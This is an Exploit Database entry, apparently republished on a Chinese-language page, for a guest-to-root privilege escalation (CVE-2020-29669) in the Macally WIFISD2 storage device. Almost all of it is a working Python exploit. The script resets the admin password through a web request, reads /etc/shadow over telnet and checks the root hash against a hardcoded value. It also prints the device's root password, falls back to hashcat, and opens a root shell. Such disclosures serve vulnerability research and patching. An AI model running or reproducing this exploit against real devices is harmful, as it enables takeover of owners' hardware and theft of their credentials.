Macally WIFISD2-2A82 2.000.010 – Guest to Root Privilege Escalation

Exploit Database
116 阅读

作者： Maximilian Barz

日期： 2020-12-14
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/49256/

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# Exploit Title: Macally WIFISD2-2A82 2.000.010 - Guest to Root Privilege Escalation

# Date: 03.12.2020

# Exploit Author: Maximilian Barz and Daniel Schwendner

# Vendor Homepage: https://us.macally.com/products/wifisd2

# Version: 2.000.010

# Tested on: Kali Linux 5.7.0-kali1-amd64

# CVE : CVE-2020-29669

# Reference: https://github.com/S1lkys/CVE-2020-29669/

#!/usr/bin/env/python3

import requests

import telnetlib

import os

import sys

import re

banner = '''\033[94m

██████ ▄▄▄█████▓ ▄▄▄ ██▀███ ▄▄▄▄█████▀█████████ ▄▄▄█████▓

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\x1b[0m

Macally WIFISD2 Guest to Root Privilege Escalation for CVE-2020-29669 by Maximilian Barz and Daniel Schwendner

'''

def main():

if(len(sys.argv) < 2):

print(banner)

print("Usage: %s <host> " % sys.argv[0])

print("Eg:%s 1.2.3.4 " % sys.argv[0])

return

rhost = sys.argv[1]

session = requests.Session()

guest_creds = "guest_pass"

admin_pass_to_set = "Silky123"

def send_requests():

url = "http://"+rhost+"/protocol.csp?function=set"

payload = {'fname':'security','opt':'pwdchk','name':'guest','pwd1':guest_creds,'function':'set'}

headers = {

'Host': rhost,

'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',

'Accept': '*/*',

'Accept-Language': 'en-US,en;q=0.5',

'Accept-Encoding': 'gzip, deflate',

'Referer': 'http://'+rhost+'/index.html',

'Content-Type': 'application/x-www-form-urlencoded',

'Content-Length': '65',

'Connection': 'close',

'Cache-Control': 'no-cache',

}

r= session.post(url, payload, headers)

if (b"<errno>0</errno>" in r.content):

print("\033[92m[+] Authentication successful\x1b[0m")

print("\t"+str(session.cookies.get_dict()))

else:

print("\033[91m[+] Authentication failed.\x1b[0m")

sys.exit()

url = "http://"+rhost+"/protocol.csp?fname=security&function=set"

payload = {'name':'admin','opt':'pwdmod','pwd1':admin_pass_to_set,'pwd2':admin_pass_to_set}

headers = {

'Host': rhost,

'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',

'Accept': '*/*',

'Accept-Language': 'en-US,en;q=0.5',

'Accept-Encoding': 'gzip, deflate',

'Referer': 'http://'+rhost+'/app/user/guest.html',

'Content-Type': 'application/x-www-form-urlencoded',

'Content-Length': '49',

'Connection': 'close',

'Cache-Control': 'no-cache',

}

d = session.post(url, payload, headers)

if (b"<errno>0</errno>" in d.content):

print("\033[92m[+] Admin Password changed to: "+admin_pass_to_set+"\x1b[0m")

telnet_grep_root_hash()

#print("[+] Spawning Admin Shell")

#telnet_login()

else:

print("\033[91m[+] Admin Password change failed\x1b[0m")

sys.exit()

def telnet_grep_root_hash():

user = "admin"

tn = telnetlib.Telnet(rhost)

tn.read_until(b"login: ")

tn.write(user.encode('ascii') + b"\n")

tn.read_until(b"Password: ")

tn.write(admin_pass_to_set.encode('ascii') + b"\n")

print("\033[92m[+] Dumping Hashes:\x1b[0m")

tn.write(b"cat /etc/shadow\n\r")

tn.write(b"exit\n")

output = tn.read_all().decode('ascii')

L = output.split('\n')

for hash in L:

if ":" in hash:

print("\t"+hash)

print("\n\r")

for hash in L:

if "root" in hash:

print("\033[92m[+] Root Hash found, trying to crack it..\x1b[0m")

print("\t"+hash)#root:$1$D0o034Sm$LY0jyeFPifEXVmdgUfSEj/:15386:0:99999:7:::

f = open("root_hash","w+")

f.write(hash)

f.close()

crack_root_hash();

def crack_root_hash():

f = open("root_hash", "r")

hash = f.read()

if ("root:$1$D0o034Sm$LY0jyeFPifEXVmdgUfSEj/:15386:0:99999:7:::" in hash):

print("\033[92mRoot Password: 20080826\x1b[0m\n")

telnet_login()

else:

os.system("hashcat -a 0 -m 500 root_hash /root/tools/routersploit/routersploit/resources/wordlists/passwords.txt") #https://github.com/threat9/routersploit/blob/master/routersploit/resources/wordlists/passwords.txt

def telnet_login():

print("\033[92m[+] Spawning Rootshell\x1b[0m")

user = "root"

root_password="20080826"

tn = telnetlib.Telnet(rhost)

tn.read_until(b"login: ")

tn.write(user.encode('ascii') + b"\n")

tn.read_until(b"Password: ")

tn.write(root_password.encode('ascii') + b"\n")

tn.interact()

print(banner)

send_requests()

if(__name__ == '__main__'):

main()